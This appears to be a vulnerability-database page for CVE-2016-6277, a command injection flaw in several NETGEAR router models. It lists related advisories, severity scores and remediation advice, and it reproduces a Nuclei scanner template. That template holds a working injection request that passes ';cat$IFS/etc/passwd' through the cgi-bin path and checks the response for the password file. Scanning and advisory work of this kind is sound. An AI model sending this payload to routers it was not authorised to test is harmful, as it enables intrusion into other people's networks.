NETGEAR Routers - Remote Code Execution
| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
 | Netgear R7000 / R6400 cgi-bin Command Injection Exploit | 12 Mar 201700:00 | – | zdt |
| Netgear R6400 - Remote Code Execution Exploit | 17 Dec 201900:00 | – | zdt |
 | CVE-2016-6277 | 14 Dec 201600:00 | – | attackerkb |
 | NETGEAR Router Command Execution | 6 Mar 202300:00 | – | bdu_fstec |
 | CVE-2016-582384 | 12 Dec 201616:48 | – | circl |
| CVE-2016-6277 | 7 Dec 201600:00 | – | circl |
 | NETGEAR Multiple Routers Remote Code Execution Vulnerability | 7 Mar 202200:00 | – | cisa_kev |
 | CISA Adds 11 Known Exploited Vulnerabilities to Catalog | 7 Mar 202200:00 | – | cisa |
 | Arbitrary Command Injection Vulnerability in a Variety of Netgear Netgear Routers | 9 Dec 201600:00 | – | cnvd |
 | Netgear R7000 and R6400 cgi-bin Command Injection (CVE-2016-6277) | 23 May 201700:00 | – | checkpoint_advisories |
10
id: CVE-2016-6277
info:
name: NETGEAR Routers - Remote Code Execution
author: pikpikcu
severity: high
description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise.
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
reference:
- https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
- https://nvd.nist.gov/vuln/detail/CVE-2016-6277
- http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
- https://www.kb.cert.org/vuls/id/582384
- http://kb.netgear.com/000036386/CVE-2016-582384
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2016-6277
cwe-id: CWE-352
epss-score: 0.99803
epss-percentile: 0.99958
cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netgear
product: d6220_firmware
tags: cve2016,cve,netgear,rce,iot,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100b721c2765e7242cbe613d4f33c3f89b680f8581f44a688434d9cd51492039734022100eb22c3a41c6235ca66d9d0213ef76beadf359b4b4a331cb6def39bfa4fe243a7:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.8
CVSS 29.3
EPSS0.99803
SSVC